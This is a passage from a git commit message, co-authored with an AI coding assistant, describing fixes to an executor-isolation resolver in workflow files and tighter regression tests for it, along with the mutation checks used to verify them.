failure stops masquerading as a declared `none` — and the finder stopped
matching. The test did not report the drift it exists to catch; it reported
"emitted dispatch-isolation-gate.md has no Resolve ISOLATION bash block" and
went red, and stayed red because the earlier full-suite run was read from a
truncated log.

Anchored on the heading instead. The workflows tell a dispatch site to run the
`Resolve ISOLATION` and `Resolve the harness flag` blocks BY NAME, so the
heading is the contract and the body is free to change under it.

Verified: 413/413 in tests/install.test.cjs. The test still bites — mutating the
gate's `ISOLATION="$_ISOLATION_RAW"` to `ISOLATION=none` turns it red (the
emitted gate then resolves cursor to none and exits 1 instead of printing
harness-worktree), and reverting restores green.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(#2652): wire the canonical resolver at the one dispatch site that still inlined the old shape

Codex review of the whole PR on the new base found one Major, and it was real.

executor-isolation-dispatch.md declares references/dispatch-isolation-gate.md
canonical at line 10, then kept the OLDER resolver inline: `|| echo "none"`, no
ISOLATION_RESOLVED. So the one site that resolves isolation for the wave path
collapsed a shim failure into a declared `none` and aborted with "runtime
'$RUNTIME' declares no executor-isolation primitive" — false for a Claude or
Cursor user whose resolver merely failed to answer. Still fail-closed, so not an
unsafe-dispatch hole, but the correction this PR is about was unwired at the
site that matters most.

Replaced with the gate's exact shape: capture the raw value, track
ISOLATION_RESOLVED, and emit the "could not resolve" FATAL when no verdict was
learned.

Added a regression test in the #2652 dispatch-site parity suite: every file that
ASSIGNS from `gsd_run query dispatch-isolation --raw` must carry
ISOLATION_RESOLVED, must not use the collapsing form, and must have a distinct
unresolved message. Nothing covered this before — install.test.cjs checks the
emitted REFERENCE, not each site's own inline copy, which is exactly how the two
drifted apart.

The test's first draft also flagged quick.md, diagnose-issues.md and
execute-plan.md. That was a false positive worth recording: those three
@-reference the gate and only make `--force-isolation` re-record calls, which
carry no verdict. The predicate now matches an assignment from the resolver, not
any mention of it, so it flags sites that can actually be wrong.

Verified by mutation: restoring the collapsing line reds the new test.

Validated: lint:ci clean; full suite shows the same 7 known failures as the
pre-change baseline — #1160 _resolveManifest and the #3053 quick_id
host-timezone tests (both reproduce on pristine next @ 33fca50d), plus
helpers-cleanup "outside os.tmpdir()", which fails only in a worktree.

* test(#2652): close two vacuous-pass holes in the new inline-resolver guard

Codex cleared the push and flagged the guard test itself. Both holes were real.

SCAN_ROOTS already yields references/dispatch-isolation-gate.md, and the test
appended it a second time, so the candidate list was [executor, gate, gate] and
`length >= 2` was satisfiable by the gate alone. If the executor site had
dropped out of the predicate — the exact regression the test exists to catch —
it would still have passed. Paths are deduped and the assertion now pins the two
expected inliner identities instead of a count.

The collapse detector keyed on `ISOLATION=$(…)`, so `_ISOLATION_RAW=$(… || echo
"none")` restored the identical defect while satisfying every other assertion
(ISOLATION_RESOLVED still appears in the file). Codex mutation-probed exactly
that and it passed. The pattern now matches any assignment target and any
`|| … echo` tail. Verified: that mutation now reds the test.

Test-only change; the workflow bash is byte-identical to the commit the full
suite ran green against. lint:ci clean, host-integration 223/223.

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-08-11 17:10:28 -04:00